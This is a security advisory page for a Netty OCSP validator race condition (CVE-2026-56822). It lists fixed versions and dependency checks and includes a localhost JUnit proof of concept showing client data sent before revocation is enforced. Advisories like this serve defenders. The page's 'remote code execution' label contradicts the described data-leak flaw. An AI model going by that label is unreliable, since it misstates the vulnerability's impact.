CVE-2026-56822: Netty Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-wc96-39fc-566f
CVSS 7.4
CWE-367
Published
Advisory Summary

CVE-2026-56822 is a HIGH (CVSS 7.4) remote code execution vulnerability (CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition) affecting Netty libraries in the Maven ecosystem. The issue involves toctou in ocspservercertificatevalidator. Remediation is available by upgrading affected packages to version 4.2.16.Final, 4.1.136.Final.

CVE-2026-56822 at a Glance

CVE Identifier CVE-2026-56822
GHSA Identifier GHSA-wc96-39fc-566f
Severity HIGH
CVSS v3.1 Base Score 7.4
CWE Classification CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
Affected Product Netty
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 7.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-56822

To remediate this vulnerability, upgrade all affected Netty dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

io.netty:netty-handler-ssl-ocsp fixed: 4.2.16.Final
<dependency>
    <groupId>io.netty</groupId>
    <artifactId>netty-handler-ssl-ocsp</artifactId>
    <version>4.2.16.Final</version>
</dependency>
io.netty:netty-handler-ssl-ocsp fixed: 4.1.136.Final
<dependency>
    <groupId>io.netty</groupId>
    <artifactId>netty-handler-ssl-ocsp</artifactId>
    <version>4.1.136.Final</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=io.netty

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2026-56822, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=io.netty

Analyze the terminal output to locate any version of Netty in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.2.16.Final), your application is affected.

Note: The mvn dependency:tree -Dincludes=io.netty command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, where the product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. In Netty, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Netty's OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client's downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check. ### Details In `io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered`, when an `SslHandshakeCompletionEvent` is received, the validator immediately calls `ctx.fireUserEventTriggered(evt)`. It then initiates an asynchronous OCSP query using `OcspClient.query`. Because the handshake completion event is forwarded immediately, downstream handlers in the client's pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server's certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it. ### PoC ```java @Test public void test() throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { OCSPRespBuilder respBuilder = new OCSPRespBuilder(); OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNAL_ERROR, null); byte[] responseEncoded = response.getEncoded(); IoTransport mockTransport = IoTransport.create(group.next(), () -> { NioSocketChannel channel = new NioSocketChannel(); channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() { @Override public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) { promise.setSuccess(); ctx.executor().schedule(() -> { ctx.pipeline().fireChannelActive(); DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse( HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded)); httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response"); httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes()); ctx.pipeline().fireChannelRead(httpResponse); }, 500, TimeUnit.MILLISECONDS); } }); return channel; }, NioDatagramChannel::new); X509Bundle caRoot = new CertificateBuilder() .algorithm(CertificateBuilder.Algorithm.rsa2048) .subject("CN=TrustedRootCA") .setIsCertificateAuthority(true) .buildSelfSigned(); GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/"); AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName)); X509Bundle targetCert = new CertificateBuilder() .algorithm(CertificateBuilder.Algorithm.rsa2048) .subject("CN=TargetServer") .addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded()) .buildIssuedBy(caRoot); SslContext serverSslCtx = SslContextBuilder.forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate()).build(); CopyOnWriteArrayList<String> receivedData = new CopyOnWriteArrayList<>(); CountDownLatch dataReceivedLatch = new CountDownLatch(1); new ServerBootstrap() .group(group) .channel(NioServerSocketChannel.class) .childHandler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc())); ch.pipeline().addLast(new SimpleChannelInboundHandler<ByteBuf>() { @Override protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) { receivedData.add(msg.toString(CharsetUtil.UTF_8)); dataReceivedLatch.countDown(); } }); } }) .bind(8080) .sync() .channel(); SslContext clientSslCtx = SslContextBuilder.forClient() .trustManager(InsecureTrustManagerFactory.INSTANCE) .build(); DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport); Channel clientChannel = new Bootstrap() .group(group) .channel(NioSocketChannel.class) .handler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), "127.0.0.1", 8080)); ch.pipeline().addLast(new OcspServerCertificateValidator(true, false, mockTransport, resolver)); ch.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void userEventTriggered(ChannelHandlerContext ctx, Object evt) { if (evt instanceof SslHandshakeCompletionEvent) { SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt; if (sslEvent.isSuccess()) { ctx.writeAndFlush(Unpooled.copiedBuffer("SECRET_DATA", CharsetUtil.UTF_8)); } } ctx.fireUserEventTriggered(evt); } }); } }) .connect("127.0.0.1", 8080) .sync() .channel(); assertTrue(clientChannel.closeFuture().await(5, TimeUnit.SECONDS)); Thread.sleep(200); assertFalse(receivedData.contains("SECRET_DATA"), "Server should not receive the data."); } finally { group.shutdownGracefully(); } } ``` ### Impact TOCTOU. Client applications relying on OcspServerCertificateValidator to enforce server certificate revocation are impacted. A malicious server with a revoked certificate can successfully establish a TLS connection and receive sensitive application data from the client (or send malicious data to it) during the window between the TLS handshake completing and the asynchronous OCSP check failing.

CVE-2026-56822 Affected Netty Versions

2 component(s)
Fixed Versions:
4.2.16.Final4.1.136.Final
Product / Package Ecosystem Affected Versions Fixed Version
io.netty:netty-handler-ssl-ocsp
Maven
≥ 4.2.0.Final
< 4.2.16.Final
4.2.16.Final
io.netty:netty-handler-ssl-ocsp
Maven
< 4.1.136.Final
4.1.136.Final

References

Frequently Asked Questions

What is CVE-2026-56822?
CVE-2026-56822 is a security vulnerability in Netty involving TOCTOU in OcspServerCertificateValidator under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.
Which Netty versions are affected?
Affected versions include releases prior to 4.2.16.Final, 4.1.136.Final across affected packages: io.netty:netty-handler-ssl-ocsp.
What version fixes CVE-2026-56822?
Upgrading to 4.2.16.Final, 4.1.136.Final (or the latest patched release for your respective branch) resolves the vulnerability.
Is netty-handler-ssl-ocsp affected?
Yes, io.netty:netty-handler-ssl-ocsp is affected in releases prior to 4.2.16.Final, 4.1.136.Final. Upgrade your dependency to 4.2.16.Final, 4.1.136.Final or later.
What is the CVSS score of CVE-2026-56822?
CVE-2026-56822 has a CVSS v3.1 base score of 7.4 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-56822?
CVE-2026-56822 is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.).
How can I check Maven dependencies for CVE-2026-56822?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=io.netty'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wc96-39fc-566f",
  "modified" : "2026-07-22T21:47:41Z",
  "published" : "2026-07-22T21:47:41Z",
  "aliases" : [ "CVE-2026-56822" ],
  "summary" : "Netty: TOCTOU in OcspServerCertificateValidator",
  "details" : "### Summary\nNetty's OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client's downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check.\n\n### Details\nIn `io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered`, when an `SslHandshakeCompletionEvent` is received, the validator immediately calls `ctx.fireUserEventTriggered(evt)`. It then initiates an asynchronous OCSP query using `OcspClient.query`.\n\nBecause the handshake completion event is forwarded immediately, downstream handlers in the client's pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server's certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it.\n\n### PoC\n\n```java\n    @Test\n    public void test() throws Exception {\n        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n            OCSPRespBuilder respBuilder = new OCSPRespBuilder();\n            OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNAL_ERROR, null);\n            byte[] responseEncoded = response.getEncoded();\n\n            IoTransport mockTransport = IoTransport.create(group.next(), () -> {\n                NioSocketChannel channel = new NioSocketChannel();\n                channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {\n                    @Override\n                    public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {\n                        promise.setSuccess();\n\n                        ctx.executor().schedule(() -> {\n                            ctx.pipeline().fireChannelActive();\n\n                            DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(\n                                    HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded));\n                            httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, \"application/ocsp-response\");\n                            httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes());\n\n                            ctx.pipeline().fireChannelRead(httpResponse);\n                        }, 500, TimeUnit.MILLISECONDS);\n                    }\n                });\n                return channel;\n            }, NioDatagramChannel::new);\n\n            X509Bundle caRoot = new CertificateBuilder()\n                    .algorithm(CertificateBuilder.Algorithm.rsa2048)\n                    .subject(\"CN=TrustedRootCA\")\n                    .setIsCertificateAuthority(true)\n                    .buildSelfSigned();\n\n            GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, \"http://localhost/\");\n            AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));\n            X509Bundle targetCert = new CertificateBuilder()\n                    .algorithm(CertificateBuilder.Algorithm.rsa2048)\n                    .subject(\"CN=TargetServer\")\n                    .addExtensionOctetString(\"1.3.6.1.5.5.7.1.1\", false, aia.getEncoded())\n                    .buildIssuedBy(caRoot);\n\n            SslContext serverSslCtx = SslContextBuilder.forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate()).build();\n\n            CopyOnWriteArrayList<String> receivedData = new CopyOnWriteArrayList<>();\n            CountDownLatch dataReceivedLatch = new CountDownLatch(1);\n\n            new ServerBootstrap()\n                    .group(group)\n                    .channel(NioServerSocketChannel.class)\n                    .childHandler(new ChannelInitializer<SocketChannel>() {\n                        @Override\n                        protected void initChannel(SocketChannel ch) {\n                            ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc()));\n                            ch.pipeline().addLast(new SimpleChannelInboundHandler<ByteBuf>() {\n                                @Override\n                                protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) {\n                                    receivedData.add(msg.toString(CharsetUtil.UTF_8));\n                                    dataReceivedLatch.countDown();\n                                }\n                            });\n                        }\n                    })\n                    .bind(8080)\n                    .sync()\n                    .channel();\n\n            SslContext clientSslCtx = SslContextBuilder.forClient()\n                    .trustManager(InsecureTrustManagerFactory.INSTANCE)\n                    .build();\n\n            DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport);\n            Channel clientChannel = new Bootstrap()\n                    .group(group)\n                    .channel(NioSocketChannel.class)\n                    .handler(new ChannelInitializer<SocketChannel>() {\n                        @Override\n                        protected void initChannel(SocketChannel ch) {\n                            ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), \"127.0.0.1\", 8080));\n                            ch.pipeline().addLast(new OcspServerCertificateValidator(true, false, mockTransport, resolver));\n                            ch.pipeline().addLast(new ChannelInboundHandlerAdapter() {\n                                @Override\n                                public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {\n                                    if (evt instanceof SslHandshakeCompletionEvent) {\n                                        SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt;\n                                        if (sslEvent.isSuccess()) {\n                                            ctx.writeAndFlush(Unpooled.copiedBuffer(\"SECRET_DATA\", CharsetUtil.UTF_8));\n                                        }\n                                    }\n                                    ctx.fireUserEventTriggered(evt);\n                                }\n                            });\n                        }\n                    })\n                    .connect(\"127.0.0.1\", 8080)\n                    .sync()\n                    .channel();\n\n            assertTrue(clientChannel.closeFuture().await(5, TimeUnit.SECONDS));\n\n            Thread.sleep(200);\n\n            assertFalse(receivedData.contains(\"SECRET_DATA\"), \"Server should not receive the data.\");\n        } finally {\n            group.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nTOCTOU. Client applications relying on OcspServerCertificateValidator to enforce server certificate revocation are impacted. A malicious server with a revoked certificate can successfully establish a TLS connection and receive sensitive application data from the client (or send malicious data to it) during the window between the TLS handshake completing and the asynchronous OCSP check failing.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.netty:netty-handler-ssl-ocsp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.2.0.Final"
      }, {
        "fixed" : "4.2.16.Final"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.netty:netty-handler-ssl-ocsp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.136.Final"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/netty/netty/security/advisories/GHSA-wc96-39fc-566f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/netty/netty"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-367" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-22T21:47:41Z",
    "nvd_published_at" : null
  }
}